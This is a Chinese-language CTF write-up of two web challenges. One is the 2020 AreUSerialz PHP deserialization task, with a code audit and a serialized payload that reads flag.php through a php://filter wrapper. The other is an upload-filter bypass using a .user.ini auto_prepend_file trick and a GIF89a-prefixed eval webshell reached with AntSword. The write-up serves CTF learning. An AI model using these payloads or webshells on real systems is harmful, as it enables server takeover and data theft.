前言
最近把php反序列化重新过了一边(之前不是太熟),然后顺手做了一道反序列化的题,再顺便也把做的一道新手题也写上,自己的总结,勿喷,上题
[网鼎杯 2020 青龙组]AreUSerialz
打开是代码,然后题目提示是反序列化,然后对代码进行审计
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
//定义变量
protected $op;
protected $filename;
protected $content;
function __construct() {
//初始化
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
//调用process()函数
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();//判断$op的值等于1,就调用下面的write()函数
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);//$op的值等于2,$res的值就等于下面read()函数的返回值,然后输出$res
} else {
$this->output("Bad Hacker!");//否则输出Bad Hacker!
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {//判断$filename和$content的值是否为空
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();//对content的长度进行判断,大于100的话就输出too long,然后die
}
$res = file_put_contents($this->filename, $this->content);//把content的内容写进filename里
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";//定义初始化
if(isset($this->filename)) {
$res = file_get_contents($this->filename);//如果$filename的值不为空,就读取filename内容
}
return $res;//返回
}
private function output($s) {
echo "[Result]: <br>";
echo $s;//此函数就相当于输出函数
}
function __destruct() {
if($this->op === "2")//对$op的值判断是否强等于“2”(字符串的2)
$this->op = "1";//$op的值等于1
$this->content = "";//content等空
$this->process();//调用process()函数
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
//此函数的功能就是对传进来的变量进行过滤,检查一下传进来的字符串里面有没有存在不可打印的字符
//ord函数是打印第一个字符的ASCII码必须在32到125之间
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];//赋值
if(is_valid($str)) {//过滤
$obj = unserialize($str);//反序列化$str
}
}
思路:
1.GET传进来的参数进行过滤,is_valid()检查一下传进来的字符串里面有没有存在不可打印的字符,然后进行反序列化,反序列化后这里反序列化后生成一个序列化对象,但是不触发任何函数,然后进程结束,序列化对象销毁,触发__destruct() ,对$op进行判断如果强等于“2”(字符串)则把op重置为“1”,content等空,再调用process()函数;
2.对process()函数分析后,如果$op的值等于1,就调用下面的write()函数;如果$op的值为2就调用调用read()函数; write函数实现一个文件写入的功能,read函数实现一个文件读取的功能
3.所以要选择进入read函数,所以在触发_destruct()时,不要让$op===“2”,这样$op就不等于1了,这样在调用process()函数时才进入read()函数, 在_destrcut()里$op===“2”,在process()函数里面是==“2”
数字2不强等于字符串2,但是数字2弱等于字符串2 ,所以让$op设置为2时绕过了让 op被重置了
4.这里是包含了flag.php,然后在read()函数里$res = file_get_contents($this->filename),这里可以借助php伪协议来读取flag.php的内容,然后返回输出
构造poc生成序列化字符串
<?php
class FileHandler{
public $op=2;
public $filename='php://filter/read=convert.base64-encode/resource=flag.php';
public $content='';
}
$A=new FileHandler();
echo (serialize($A));
?>
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:0:"";}
easyupload
打开题目,提示上传一个文件
经过手工测试,对文件名后缀有限制,只能上传gif、jpg、png,其他的php3、phtml等也都不行
然后试着文件后缀名大小写双写空格绕过都失败,所以文件名后缀这里下不去手了
制作一句话木马,但是文件后缀是jpg
抓包放到重放模块进行重放,返回Your file looks wicked,提示上传的文件不行
说明对文件头做了检测
那就换成上传图片马试试
正常jpg图片和一句话木马联合生成一个图片马
copy 图片.jpg/b+webshell.php/a shell.jpg
然后上传抓包重放看看效果,也是返回上传的文件有问题,说明对文件的内容做了检测
上传.htacess文件也被限制了
只能上传.user.ini文件绕过了
如:
在.user.ini文件中写入auto_prepend_file=1.jpg
然后在1.jpg中写入一个一句话木马
<?php @eval($_P0ST['cmd']); ?>
那么和.user.ini和1.jpg同一目录下的所有php文件都会包含1.jpg文件,也就是同目录的php文件里都有一句话木马
写个.user.ini文件,内容为
auto_prepend_file=1.jpg
然后上传抓包,修改content-type的值为image/jpeg放出去
上传成功,然后写个一句话木马,后缀名为1.jpg上传(试过代码里有”php“字符时会上传不上去,被限制了,所以这里的一句话木马用短标签,也就是”php“替换成=)
GIF89a <?= @eval($_POST['cmd']); ?>
蚁剑连接,查看flag
cyberpeace{c708d5c31a13f75848dcd72e6ef4a12f}